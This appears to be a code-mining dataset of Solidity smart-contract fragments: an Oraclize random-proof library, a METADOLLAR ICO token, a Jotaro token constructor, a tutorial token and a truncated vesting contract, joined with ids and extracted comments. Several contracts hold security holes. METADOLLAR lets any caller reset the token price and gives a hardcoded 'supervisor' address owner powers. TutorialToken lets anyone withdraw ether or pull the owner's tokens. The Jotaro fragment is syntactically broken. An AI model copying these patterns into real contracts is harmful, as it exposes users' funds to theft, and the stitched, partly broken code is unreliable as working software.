return string(bstr); } using CBOR for Buffer.buffer; function stra2cbor(string[] arr) internal pure returns (bytes) { Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeString(arr[i]); } buf.endSequence(); return buf.buf; } function ba2cbor(bytes[] arr) internal pure returns (bytes) { Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeBytes(arr[i]); } buf.endSequence(); return buf.buf; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal view returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ require((_nbytes > 0) && (_nbytes <= 32)); // Convert from seconds to ledger timer ticks _delay *= 10; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes memory delay = new bytes(32); assembly { mstore(add(delay, 0x20), _delay) } bytes memory delay_bytes8 = new bytes(8); copyBytes(delay, 24, 8, delay_bytes8, 0); bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay]; bytes32 queryId = oraclize_query("random", args, _customGasLimit); bytes memory delay_bytes8_left = new bytes(8); assembly { let x := mload(add(delay_bytes8, 0x20)) mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000)) } oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(keccak256(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(keccak256(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = byte(1); //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1)); bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); require(proofVerified); _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){ bool match_ = true; require(prefix.length == n_random_bytes); for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; // Step 4: commitment match verification, keccak256(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) { uint minLength = length + toOffset; // Buffer too small require(to.length >= minLength); // Should be a better way? // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) internal { if (!assertion) throw; } } contract ERC20Interface { /// @notice Total supply of Metadollar function totalSupply() constant returns (uint256 totalAmount); /// @notice Get the account balance of another account with address_owner function balanceOf(address _owner) constant returns (uint256 balance); /// @notice Send_value amount of tokens to address_to function transfer(address _to, uint256 _value) returns (bool success); /// @notice Send_value amount of tokens from address_from to address_to function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice Allow_spender to withdraw from your account, multiple times, up to the _value amount. /// @notice If this function is called again it overwrites the current allowance with _value. function approve(address _spender, uint256 _value) returns (bool success); /// @notice Returns the amount which _spender is still allowed to withdraw from _owner function allowance(address _owner, address _spender) constant returns (uint256 remaining); /// @notice Triggered when tokens are transferred. event Transfer(address indexed _from, address indexed _to, uint256 _value); /// @notice Triggered whenever approve(address _spender, uint256 _value) is called. event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract owned{ address public owner; address constant supervisor = 0x772F3122a8687ee3401bafCA91e873CC37106a7A;//0x97f7298435e5a8180747E89DBa7759674c5c35a5; function owned(){ owner = msg.sender; } /// @notice Functions with this modifier can only be executed by the owner modifier isOwner { assert(msg.sender == owner || msg.sender == supervisor); _; } /// @notice Transfer the ownership of this contract function transferOwnership(address newOwner); event ownerChanged(address whoTransferredOwnership, address formerOwner, address newOwner); } contract METADOLLAR is ERC20Interface, owned, SafeMath, usingOraclize { string public constant name = "METADOLLAR"; string public constant symbol = "DOL"; uint public constant decimals = 18; uint256 public _totalSupply = 1000000000000000000000000000; uint256 public icoMin = 1000000000000000000000000000; uint256 public preIcoLimit = 1; uint256 public countHolders = 0; // Number of DOL holders uint256 public amountOfInvestments = 0; // amount of collected wei uint256 bank; uint256 preICOprice; uint256 ICOprice; uint256 public currentTokenPrice; // Current Price of DOL uint256 public commRate; bool public preIcoIsRunning; bool public minimalGoalReached; bool public icoIsClosed; bool icoExitIsPossible; //Balances for each account mapping (address => uint256) public tokenBalanceOf; // Owner of account approves the transfer of an amount to another account mapping(address => mapping (address => uint256)) allowed; //list with information about frozen accounts mapping(address => bool) frozenAccount; //this generate a public event on a blockchain that will notify clients event FrozenFunds(address initiator, address account, string status); //this generate a public event on a blockchain that will notify clients event BonusChanged(uint8 bonusOld, uint8 bonusNew); //this generate a public event on a blockchain that will notify clients event minGoalReached(uint256 minIcoAmount, string notice); //this generate a public event on a blockchain that will notify clients event preIcoEnded(uint256 preIcoAmount, string notice); //this generate a public event on a blockchain that will notify clients event priceUpdated(uint256 oldPrice, uint256 newPrice, string notice); //this generate a public event on a blockchain that will notify clients event withdrawed(address _to, uint256 summe, string notice); //this generate a public event on a blockchain that will notify clients event deposited(address _from, uint256 summe, string notice); //this generate a public event on a blockchain that will notify clients event orderToTransfer(address initiator, address _from, address _to, uint256 summe, string notice); //this generate a public event on a blockchain that will notify clients event tokenCreated(address _creator, uint256 summe, string notice); //this generate a public event on a blockchain that will notify clients event tokenDestroyed(address _destroyer, uint256 summe, string notice); //this generate a public event on a blockchain that will notify clients event icoStatusUpdated(address _initiator, string status); /// @notice Constructor of the contract function METADOLLAR() { preIcoIsRunning = false; minimalGoalReached = true; icoExitIsPossible = false; icoIsClosed = false; tokenBalanceOf[this] += _totalSupply; allowed[this][owner] = _totalSupply; allowed[this][supervisor] = _totalSupply; currentTokenPrice = 728; preICOprice = 780; ICOprice = 1; commRate = 100; updatePrices(); updateICOPrice(); } function () payable { require(!frozenAccount[msg.sender]); if(msg.value > 0 && !frozenAccount[msg.sender]) { buyToken(); } } /// @notice Returns a whole amount of DOL function totalSupply() constant returns (uint256 totalAmount) { totalAmount = _totalSupply; } /// @notice What is the balance of a particular account? function balanceOf(address _owner) constant returns (uint256 balance) { return tokenBalanceOf[_owner]; } /// @notice Shows how much tokens _spender can spend from _owner address function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @notice Calculates amount of ETH needed to buy DOL /// @param howManyTokenToBuy - Amount of tokens to calculate function calculateTheEndPrice(uint256 howManyTokenToBuy) constant returns (uint256 summarizedPriceInWeis) { if(howManyTokenToBuy > 0) { summarizedPriceInWeis = howManyTokenToBuy * currentTokenPrice; }else { summarizedPriceInWeis = 0; } } /// @notice Shows if account is frozen /// @param account - Accountaddress to check function checkFrozenAccounts(address account) constant returns (bool accountIsFrozen) { accountIsFrozen = frozenAccount[account]; } /// @notice Buy DOL from VAULT by sending ETH function buy() payable public { require(!frozenAccount[msg.sender]); require(msg.value > 0); buyToken(); } /// @notice Sell DOL and receive ETH from VAULT function sell(uint256 amount) { require(!frozenAccount[msg.sender]); require(tokenBalanceOf[msg.sender] >= amount); // checks if the sender has enough to sell require(amount > 0); require(currentTokenPrice > 0); _transfer(msg.sender, this, amount); uint256 revenue = amount / currentTokenPrice; uint256 detractSell = revenue / commRate; require(this.balance >= revenue); msg.sender.transfer(revenue - detractSell); // sends ether to the seller: it's important to do this last to prevent recursion attacks } /// @notice Transfer amount of tokens from own wallet to someone else function transfer(address _to, uint256 _value) returns (bool success) { assert(msg.sender != address(0)); assert(_to != address(0)); require(!frozenAccount[msg.sender]); require(!frozenAccount[_to]); require(tokenBalanceOf[msg.sender] >= _value); require(tokenBalanceOf[msg.sender] - _value < tokenBalanceOf[msg.sender]); require(tokenBalanceOf[_to] + _value > tokenBalanceOf[_to]); require(_value > 0); _transfer(msg.sender, _to, _value); return true; } /// @notice Send _value amount of tokens from address _from to address _to function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { assert(msg.sender != address(0)); assert(_from != address(0)); assert(_to != address(0)); require(!frozenAccount[msg.sender]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); require(tokenBalanceOf[_from] >= _value); require(allowed[_from][msg.sender] >= _value); require(tokenBalanceOf[_from] - _value < tokenBalanceOf[_from]); require(tokenBalanceOf[_to] + _value > tokenBalanceOf[_to]); require(_value > 0); orderToTransfer(msg.sender, _from, _to, _value, "Order to transfer tokens from allowed account"); _transfer(_from, _to, _value); allowed[_from][msg.sender] -= _value; return true; } /// @notice Allow _spender to withdraw from your account, multiple times, up to the _value amount. /// @notice If this function is called again it overwrites the current allowance with _value. function approve(address _spender, uint256 _value) returns (bool success) { require(!frozenAccount[msg.sender]); assert(_spender != address(0)); require(_value >= 0); allowed[msg.sender][_spender] = _value; return true; } /// @notice Check if minimal goal is reached function checkMinimalGoal() internal { if(tokenBalanceOf[this] <= _totalSupply - icoMin) { minimalGoalReached = true; minGoalReached(icoMin, "Minimal goal of ICO is reached!"); } } /// @notice Check if service is ended function checkPreIcoStatus() internal { if(tokenBalanceOf[this] <= _totalSupply - preIcoLimit) { preIcoIsRunning = false; preIcoEnded(preIcoLimit, "Token amount for preICO sold!"); } } /// @notice Processing each buying function buyToken() internal { uint256 value = msg.value; address sender = msg.sender; address bank = 0xC51B05696Db965cE6C8efD69Aa1c6BA5540a92d7; // DEPOSIT require(!icoIsClosed); require(!frozenAccount[sender]); require(value > 0); require(currentTokenPrice > 0); uint256 amount = value * currentTokenPrice; // calculates amount of tokens uint256 detract = amount / commRate; uint256 detract2 = value / commRate; uint256 finalvalue = value - detract2; require(tokenBalanceOf[this] >= amount); // checks if contract has enough to sell amountOfInvestments = amountOfInvestments + (value); updatePrices(); _transfer(this, sender, amount - detract); require(this.balance >= finalvalue); bank.transfer(finalvalue); if(!minimalGoalReached) { checkMinimalGoal(); } } /// @notice Internal transfer, can only be called by this contract function _transfer(address _from, address _to, uint256 _value) internal { assert(_from != address(0)); assert(_to != address(0)); require(_value > 0); require(tokenBalanceOf[_from] >= _value); require(tokenBalanceOf[_to] + _value > tokenBalanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); if(tokenBalanceOf[_to] == 0){ countHolders += 1; } tokenBalanceOf[_from] -= _value; if(tokenBalanceOf[_from] == 0){ countHolders -= 1; } tokenBalanceOf[_to] += _value; allowed[this][owner] = tokenBalanceOf[this]; allowed[this][supervisor] = tokenBalanceOf[this]; Transfer(_from, _to, _value); } /// @notice Set current DOL prices function updatePrices() internal { uint256 oldPrice = currentTokenPrice; if(preIcoIsRunning) { checkPreIcoStatus(); } if(preIcoIsRunning) { currentTokenPrice = preICOprice; }else{ currentTokenPrice = ICOprice; } if(oldPrice != currentTokenPrice) { priceUpdated(oldPrice, currentTokenPrice, "Token price updated!"); } } /// @notice Set current price rate A /// @param priceForPreIcoInWei - is the amount in wei for one token function setPreICOPrice(uint256 priceForPreIcoInWei) isOwner { require(priceForPreIcoInWei > 0); require(preICOprice != priceForPreIcoInWei); preICOprice = priceForPreIcoInWei; updatePrices(); } /// @notice Set current price rate B /// @param priceForIcoInWei - is the amount in wei for one token function setICOPrice(uint256 priceForIcoInWei) isOwner { require(priceForIcoInWei > 0); require(ICOprice != priceForIcoInWei); ICOprice = priceForIcoInWei; updatePrices(); } /// @notice Set both prices at the same time /// @param priceForPreIcoInWei - Price of the token in pre ICO /// @param priceForIcoInWei - Price of the token in ICO function setPrices(uint256 priceForPreIcoInWei, uint256 priceForIcoInWei) isOwner { require(priceForPreIcoInWei > 0); require(priceForIcoInWei > 0); preICOprice = priceForPreIcoInWei; ICOprice = priceForIcoInWei; updatePrices(); } /// @notice Set current Commission Rate /// @param newCommRate - is the amount in wei for one token function commRate(uint256 newCommRate) isOwner { require(newCommRate > 0); require(commRate != newCommRate); commRate = newCommRate; updatePrices(); } /// @notice Set New Bank /// @param newBank - is the new bank address function changeBank(uint256 newBank) isOwner { require(bank != newBank); bank = newBank; updatePrices(); } /// @notice 'freeze? Prevent | Allow' 'account' from sending and receiving tokens /// @param account - address to be frozen /// @param freeze - select is the account frozen or not function freezeAccount(address account, bool freeze) isOwner { require(account != owner); require(account != supervisor); frozenAccount[account] = freeze; if(freeze) { FrozenFunds(msg.sender, account, "Account set frozen!"); }else { FrozenFunds(msg.sender, account, "Account set free for use!"); } } /// @notice Create an amount of DOL /// @param amount - DOL to create function mintToken(uint256 amount) isOwner { require(amount > 0); require(tokenBalanceOf[this] <= icoMin); // owner can create token only if the initial amount is strongly not enough to supply and demand ICO require(_totalSupply + amount > _totalSupply); require(tokenBalanceOf[this] + amount > tokenBalanceOf[this]); _totalSupply += amount; tokenBalanceOf[this] += amount; allowed[this][owner] = tokenBalanceOf[this]; allowed[this][supervisor] = tokenBalanceOf[this]; tokenCreated(msg.sender, amount, "Additional tokens created!"); } /// @notice Destroy an amount of DOL /// @param amount - DOL to destroy function destroyToken(uint256 amount) isOwner { require(amount > 0); require(tokenBalanceOf[this] >= amount); require(_totalSupply >= amount); require(tokenBalanceOf[this] - amount >= 0); require(_totalSupply - amount >= 0); tokenBalanceOf[this] -= amount; _totalSupply -= amount; allowed[this][owner] = tokenBalanceOf[this]; allowed[this][supervisor] = tokenBalanceOf[this]; tokenDestroyed(msg.sender, amount, "An amount of tokens destroyed!"); } /// @notice Transfer the ownership to another account /// @param newOwner - address who get the ownership function transferOwnership(address newOwner) isOwner { assert(newOwner != address(0)); address oldOwner = owner; owner = newOwner; ownerChanged(msg.sender, oldOwner, newOwner); allowed[this][oldOwner] = 0; allowed[this][newOwner] = tokenBalanceOf[this]; } /// @notice Transfer ether from smartcontract to admin function collect() isOwner { require(this.balance > 0); withdraw(this.balance); } /// @notice Withdraw an amount of ether from VAULT /// @param summeInWei - amout to withdraw function withdraw(uint256 summeInWei) isOwner { uint256 contractbalance = this.balance; address sender = msg.sender; require(contractbalance >= summeInWei); withdrawed(sender, summeInWei, "wei withdrawed"); sender.transfer(summeInWei); } /// @notice Deposit an amount of ETH in the VAULT function deposit() payable isOwner { require(msg.value > 0); require(msg.sender.balance >= msg.value); deposited(msg.sender, msg.value, "wei deposited"); } /// @notice Stop running VAULT /// @param icoIsStopped - status if this ICO is stopped function stopThisIco(bool icoIsStopped) isOwner { require(icoIsClosed != icoIsStopped); icoIsClosed = icoIsStopped; if(icoIsStopped) { icoStatusUpdated(msg.sender, "Coin offering was stopped!"); }else { icoStatusUpdated(msg.sender, "Coin offering is running!"); } } // the function for setting of ICOPrice function setICOPriceatDollar(uint val){ ICOprice = val; } event Log(string text); function __callback(bytes32 _myid, string _result) { require (msg.sender == oraclize_cbAddress()); Log(_result); ICOprice = parseInt(_result); // let's save it as $ cents } function updateICOPrice() payable { Log("Oraclize query was sent, waiting for the answer.."); oraclize_query("URL","json(https://min-api.cryptocompare.com/data/price?fsym=ETH&tsyms=USD).USD"); } }
Transfer amount of tokens from own wallet to someone else
function transfer(address _to, uint256 _value) returns (bool success) { assert(msg.sender != address(0)); assert(_to != address(0)); require(!frozenAccount[msg.sender]); require(!frozenAccount[_to]); require(tokenBalanceOf[msg.sender] >= _value); require(tokenBalanceOf[msg.sender] - _value < tokenBalanceOf[msg.sender]); require(tokenBalanceOf[_to] + _value > tokenBalanceOf[_to]); require(_value > 0); _transfer(msg.sender, _to, _value); return true; }
1,594,735
./partial_match/1/0x95e3D3bE3a95566d98624eb1f58F99bb372777FC/sources/Jotaro.sol
tTotal = x 1e9; exclude from paying fees or having max transaction amount
function _beforeTokenTransfer( address from, address to, uint256 amount } constructor() ERC20("JOTARO", "JOTARO") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 0; uint256 _buyLiquidityFee = 0; uint256 _buyBurnFee = 0; uint256 _sellMarketingFee = 2; uint256 _sellLiquidityFee = 5; uint256 _sellBurnFee = 1; _tTotal = 420000000000 * 1e9; _rTotal = (MAX - (MAX % _tTotal)); _rOwned[_msgSender()] = _rTotal; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyBurnFee = _buyBurnFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyBurnFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellBurnFee = _sellBurnFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBurnFee; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, _tTotal);
4,162,034
./full_match/80001/0xFAEff4d85986027FCaebEDD4a857Af83992B3f65/sources/utils/OnlyDelegateCallUpgradeable.sol
@custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment
function checkDelegateCall() private view { require(address(this) != self, "implementation cannot use delegate call"); }
9,516,624
pragma solidity >=0.4.24 < 0.7.0; // import "https://github.com/OpenZeppelin/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; // import 'https://github.com/OpenZeppelin/openzeppelin-contracts/math/SafeMath.sol'; import "../node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20.sol"; import '../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol'; contract TutorialToken is ERC20 { using SafeMath for uint256; string public name = "TutorialToken"; string public symbol = "TT"; uint8 public decimals = 2; uint public INITIAL_SUPPLY = 12000; address contractOwner; struct InvestInfo { uint256 investAmount; // 投资额度 uint256 releasePerDay; // 每日释放量 } InvestInfo [] investInfos; // 记录每次投资 // 记录一个地址总投资额度 mapping(address => uint) public ownerToEthAmount; constructor() public { _mint(msg.sender, INITIAL_SUPPLY); contractOwner = msg.sender; ownerToEthAmount[msg.sender] = 0; } // 创建每次投资的信息 function _createInvestInfo(uint256 _investAmount, uint256 _releasePerDay) private { investInfos.push(InvestInfo(_investAmount, _releasePerDay)); } // 向合约地址转移以太坊 function buyTToken() public payable { ownerToEthAmount[msg.sender] = ownerToEthAmount[msg.sender].add(msg.value); uint256 amount = msg.value; uint256 release; if (amount >= 1 && amount < 6) { release = amount * 9 / 10000; } else if (amount >= 6 && amount < 10) { release = amount * 11 / 10000; } else if (amount >= 11 && amount < 30) { release = amount * 13 / 10000; } else { release = amount * 15 / 10000; } } // 获取当前用户的总投资额度 function getOwnerTotalAmount() public view returns(uint) { return ownerToEthAmount[msg.sender]; } // 获取合约以太坊的总额度 function getContractAmount() public view returns(uint) { return address(this).balance; } // 转移TToken资产到当前地址, ERC20的public transfer方法是账户之间的转账,合约拥有者转账需要用_transfer function transferTToken() public returns(bool) { uint amount = 100; _transfer(contractOwner, msg.sender, amount); return true; } // 提ETH到当前账户 function withdraw() public returns(bool) { // 参数的单位是wei, 所以转移1ETH,需要10 ** 18. 1ETH = 10 ** 18 Wei msg.sender.transfer(10 ** 18); } }
提ETH到当前账户 参数的单位是wei, 所以转移1ETH,需要10 18. 1ETH = 10 18 Wei
function withdraw() public returns(bool) { msg.sender.transfer(10 ** 18); }
5,367,943
pragma solidity ^0.4.24; // File: contracts/IZCDistribution.sol /** * @title IZCDistribution * * Interface for the ZCDistribuition contract * * (c) Philip Louw / Zero Carbon Project 2018. The MIT Licence. */ interface IZCDistribution { /** * @dev Returns the Amount of tokens issued to consumers */ function getSentAmount() external pure returns (uint256); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/ZCVesting.sol /** * @title ZCVesting * * Used to hold tokens and release once configured amount has been released to consumers. * * 10% of initial tokens in contract can be claimed for every 15 million tokens that are distributed to consumers. * After 150 million tokens are distributed consumer the full balanceof the vesting contract is transferable. * * (c) Philip Louw / Zero Carbon Project 2018. The MIT Licence. */ contract ZCVesting { using SafeMath for uint256; // Total amount of tokens released uint256 public releasedAmount = 0; // Address of the Token ERC20Basic public token; // Address of the Distribution Contract IZCDistribution public dist; // Release to Address address public releaseAddress; // Every amount of tokens to release funds uint256 internal constant STEP_DIST_TOKENS = 15000000 * 